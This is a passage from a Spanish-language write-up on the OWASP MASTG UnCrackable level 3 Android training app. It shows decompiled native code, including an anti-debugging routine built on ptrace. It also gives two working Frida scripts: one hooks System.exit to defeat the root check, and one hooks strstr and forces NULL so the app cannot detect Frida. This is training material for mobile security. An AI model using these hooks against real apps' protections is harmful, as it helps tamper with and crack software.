  <span class="n">strncpy</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">DAT_00115038</span><span class="p">,</span><span class="n">__src</span><span class="p">,</span><span class="mh">0x18</span><span class="p">);</span>
  <span class="p">(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="o">*</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x600</span><span class="p">))(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="n">__src</span><span class="p">,</span><span class="mi">2</span><span class="p">);</span>
  <span class="n">DAT_00115054</span> <span class="o">=</span> <span class="n">DAT_00115054</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Esta función ejecuta una función que he llamado <code class="language-plaintext highlighter-rouge">anti_debug</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">anti_debug</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="n">__pid_t</span> <span class="n">_Var2</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">uVar3</span><span class="p">;</span>
  <span class="n">uint</span> <span class="n">uVar4</span><span class="p">;</span>
  <span class="n">ulong</span> <span class="n">uVar5</span><span class="p">;</span>
  <span class="n">pthread_t</span> <span class="n">local_30</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">local_28</span><span class="p">;</span>
  
  <span class="n">lVar1</span> <span class="o">=</span> <span class="n">tpidr_el0</span><span class="p">;</span>
  <span class="n">local_28</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">_Var2</span> <span class="o">=</span> <span class="n">fork</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">_Var2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="n">getppid</span><span class="p">();</span>
    <span class="n">uVar5</span> <span class="o">=</span> <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_ATTACH</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar3</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">uVar5</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">waitpid</span><span class="p">(</span><span class="n">uVar3</span><span class="p">,(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_30</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
      <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
        <span class="n">ptrace</span><span class="p">(</span><span class="n">PTRACE_CONT</span><span class="p">,(</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar3</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="n">uVar4</span> <span class="o">=</span> <span class="n">waitpid</span><span class="p">(</span><span class="n">uVar3</span><span class="p">,(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_30</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="n">uVar5</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar4</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">uVar4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">((</span><span class="o">~</span><span class="p">(</span><span class="n">uint</span><span class="p">)</span><span class="n">local_30</span> <span class="o">&amp;</span> <span class="mh">0x7f</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
          <span class="n">_exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">uVar3</span> <span class="o">=</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_30</span><span class="p">,(</span><span class="n">pthread_attr_t</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">FUN_0010322c</span><span class="p">,(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
    <span class="n">uVar5</span> <span class="o">=</span> <span class="p">(</span><span class="n">ulong</span><span class="p">)</span><span class="n">uVar3</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">==</span> <span class="n">local_28</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="n">uVar5</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Esta función implementa un método de protección que podemos llamar <em>self-debug</em>. Esto se aprovecha de que un programa sólo puede tener enlazado un debugger, por tanto, creando un proceso hijo evita que se pueda enlazar otro proceso.</p>

<h1 id="explotación">Explotación</h1>

<p>En este punto tenemos varias protecciones que bypasear.</p>

<h2 id="bypasear-el-anti-root">Bypasear el anti-root</h2>

<p>Lo primero es bypasear el anti-root. Para ello podemos simplemente ejecutar el siguiente script con Frida:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Java</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">function</span> <span class="o">()</span> <span class="o">{</span>
    <span class="kt">var</span> <span class="nc">System</span> <span class="o">=</span> <span class="nc">Java</span><span class="o">.</span><span class="na">use</span><span class="o">(</span><span class="err">'</span><span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">System</span><span class="err">'</span><span class="o">);</span>

    <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">.</span><span class="na">overload</span><span class="o">(</span><span class="err">'</span><span class="kt">int</span><span class="err">'</span><span class="o">).</span><span class="na">implementation</span> <span class="o">=</span> <span class="n">function</span> <span class="o">(</span><span class="n">code</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="o">[</span><span class="nc">Bypass</span><span class="o">]</span> <span class="nc">System</span><span class="o">.</span><span class="na">exit</span> <span class="n">called</span> <span class="n">with</span> <span class="nl">code:</span><span class="err">'</span><span class="o">,</span> <span class="n">code</span><span class="o">);</span>
        <span class="c1">// No hacer nada para evitar que la app termine</span>
    <span class="o">};</span>
<span class="o">});</span>
</code></pre></div></div>

<p>Con eso ya podríamos empezar, pero aún hay que sortear el resto de protecciones.</p>

<h2 id="bypasear-las-protecciones-nativas">Bypasear las protecciones nativas</h2>

<p>Como hemos visto antes, el programa comprobaba si se utilizaba frida mediante la función <code class="language-plaintext highlighter-rouge">strstr</code>. Por tanto, basta con hookear esa función y hacer que devuelva <code class="language-plaintext highlighter-rouge">null</code> como si no se hubiera encontrado nada. Para ello hookear funciones nativas con frida, se utiliza el <code class="language-plaintext highlighter-rouge">Interceptor</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Interceptor</span><span class="o">.</span><span class="na">attach</span><span class="o">(</span><span class="nc">Module</span><span class="o">.</span><span class="na">findExportByName</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="err">'</span><span class="n">strstr</span><span class="err">'</span><span class="o">),</span> <span class="o">{</span>
    <span class="nl">onEnter:</span> <span class="n">function</span> <span class="o">(</span><span class="n">args</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// args[0] = haystack, args[1] = needle</span>
        <span class="kt">var</span> <span class="n">haystack</span> <span class="o">=</span> <span class="nc">Memory</span><span class="o">.</span><span class="na">readUtf8String</span><span class="o">(</span><span class="n">args</span><span class="o">[</span><span class="mi">0</span><span class="o">]);</span>
        <span class="kt">var</span> <span class="n">needle</span> <span class="o">=</span> <span class="nc">Memory</span><span class="o">.</span><span class="na">readUtf8String</span><span class="o">(</span><span class="n">args</span><span class="o">[</span><span class="mi">1</span><span class="o">]);</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="n">strstr</span> <span class="n">called</span> <span class="n">with</span> <span class="nl">haystack:</span><span class="err">'</span><span class="o">,</span> <span class="n">haystack</span><span class="o">,</span> <span class="err">'</span><span class="nl">needle:</span><span class="err">'</span><span class="o">,</span> <span class="n">needle</span><span class="o">);</span>
    <span class="o">},</span>
    <span class="nl">onLeave:</span> <span class="n">function</span> <span class="o">(</span><span class="n">retval</span><span class="o">)</span> <span class="o">{</span>
        <span class="c1">// Forzar retorno NULL</span>
        <span class="n">retval</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="n">ptr</span><span class="o">(</span><span class="err">'</span><span class="mh">0x0</span><span class="err">'</span><span class="o">));</span>
        <span class="n">console</span><span class="o">.</span><span class="na">log</span><span class="o">(</span><span class="err">'</span><span class="n">strstr</span> <span class="nl">hooked:</span> <span class="n">forced</span> <span class="k">return</span> <span class="no">NULL</span><span class="err">'</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">});</span>
</code></pre></div></div>]]></content><author><name>naibu3</name></author><category term="Mobile" /><category term="Writeups" /><summary type="html"><![CDATA[Vamos a por el nivel 3 de UnCrackable, una de las aplicaciones vlunerables del OWASP MASTG. De forma similar a los niveles anteriores, se nos da una aplicación que a priori detecta si nuestro dispositivo está rooteado, y de ser así nos cierra la aplicación.]]></summary></entry></feed>